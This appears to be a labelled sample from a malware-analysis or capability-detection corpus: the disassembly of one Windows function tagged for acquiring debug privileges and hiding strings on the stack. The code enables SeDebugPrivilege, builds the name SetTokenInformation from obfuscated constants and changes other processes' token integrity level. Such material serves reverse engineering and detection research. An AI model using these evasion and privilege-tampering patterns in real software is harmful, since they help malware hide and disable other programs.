Function at 0x40458b
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
push 0x17c
mov eax, 0x516a70
call fcn.004fb20b
push 0xff
xor esi, esi
lea eax, [ebp - 0x12f]
mov edi, ecx
push esi
push eax
mov dword [ebp - 0x17c], edi
mov dword [ebp - 0x30], 0x616d726f
mov dword [ebp - 0x2c], 0x6e6f6974
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0x6e496e65
mov word [ebp - 0x18], 0x66
mov dword [ebp - 0x24], 0x54746553
mov word [ebp - 0x20], 0x6b6f
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x130], 0
call fcn.004fa610
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x130]
push str._s_s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
xor ebx, ebx
push 2
mov dword [ebp - 4], esi
mov dword [ebp - 0x16c], esi
inc ebx
pop esi
mov eax, dword [edi + 8]
sub eax, dword [edi + 4]
push 0x1c
cdq
pop ecx
idiv ecx
cmp dword [ebp - 0x16c], eax
jae 0x4048fc
lea eax, [ebp - 0x130]
push eax
push 0x525274
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x16c]
imul eax, eax, 0x1c
add eax, dword [edi + 4]
cmp dword [eax + 0x14], 0x10
jb 0x404668
mov eax, dword [eax]
push eax
mov ecx, edi
call fcn.004014a9
test eax, eax
je 0x4048eb
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4048eb
or dword [ebp - 0x170], 0xffffffff
lea ecx, [ebp - 0x170]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4048eb
lea eax, [ebp - 0x188]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x188]
push 0
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x184]
push 0
push 0x10
mov dword [ebp - 0x15c], eax
lea eax, [ebp - 0x164]
push eax
push ebx
push dword [ebp - 0x170]
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x158], esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
and dword [ebp - 0x168], 0
mov eax, dword [edi + 0x18]
sub eax, dword [edi + 0x14]
push 0x1c
cdq
pop ecx
idiv ecx
cmp dword [ebp - 0x168], eax
jae 0x404748
mov eax, dword [ebp - 0x168]
imul eax, eax, 0x1c
add eax, dword [edi + 0x14]
cmp dword [eax + 0x14], 0x10
jb 0x404731
mov eax, dword [eax]
push ebx
push eax
push dword [ebp - 0x170]
mov ecx, edi
call fcn.00401687
inc dword [ebp - 0x168]
jmp 0x404709
lea eax, [ebp - 0x148]
push 6
push eax
mov dword [ebp - 0x148], 7
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x140], esi
mov dword [ebp - 0x13c], 3
mov dword [ebp - 0x138], 0x16
mov dword [ebp - 0x134], ebx
call fcn.004012e6
pop ecx
pop ecx
mov dword [ebp - 0x168], ebx
cmp dword [ebp - 0x168], 0x64
jg 0x4047ef
push dword [ebp - 0x148]
call fcn.00404518
pop ecx
test al, al
je 0x4047e7
push dword [ebp - 0x168]
mov edi, 0x573c60
mov ecx, edi
call fcn.00403972
push 0x52525c
push eax
call fcn.004035f7
mov eax, dword [ebp - 0x168]
and eax, 0x80000001
pop ecx
pop ecx
jns 0x4047d8
dec eax
or eax, 0xfffffffe
inc eax
push eax
mov ecx, edi
call fcn.00403972
push eax
call fcn.004044fe
pop ecx
inc dword [ebp - 0x168]
jmp 0x40478e
xor eax, eax
lea edi, [ebp - 0x154]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x14c], 0
lea eax, [ebp - 0x148]
push 6
push eax
mov byte [ebp - 0x154], bl
mov byte [ebp - 0x153], bl
mov byte [ebp - 0x14d], 0x10
mov dword [ebp - 0x148], 7
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x140], esi
mov dword [ebp - 0x13c], 3
mov dword [ebp - 0x138], 0x16
mov dword [ebp - 0x134], ebx
call fcn.004012e6
pop ecx
pop ecx
mov edi, ebx
cmp edi, 0x64
jg 0x40488d
push dword [ebp - 0x148]
call fcn.00404518
pop ecx
test al, al
je 0x40488a
push edi
mov ecx, 0x573c60
call fcn.00403972
push 0x52525c
push eax
call fcn.004035f7
pop ecx
pop ecx
push edi
call fcn.00404518
pop ecx
inc edi
jmp 0x404856
xor eax, eax
lea edi, [ebp - 0x174]
stosd dword es:[edi], eax
push 0x52524c
lea eax, [ebp - 0x154]
push 0x525274
mov dword [ebp - 0x174], 0x20
mov dword [ebp - 0x178], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x154]
push ecx
call eax
add eax, 8
push eax
lea eax, [ebp - 0x178]
push eax
push 0x19
push dword [ebp - 0x170]
call dword [ebp - 0x180]
mov edi, dword [ebp - 0x17c]
inc dword [ebp - 0x16c]
jmp 0x40461d
call fcn.004fb267
ret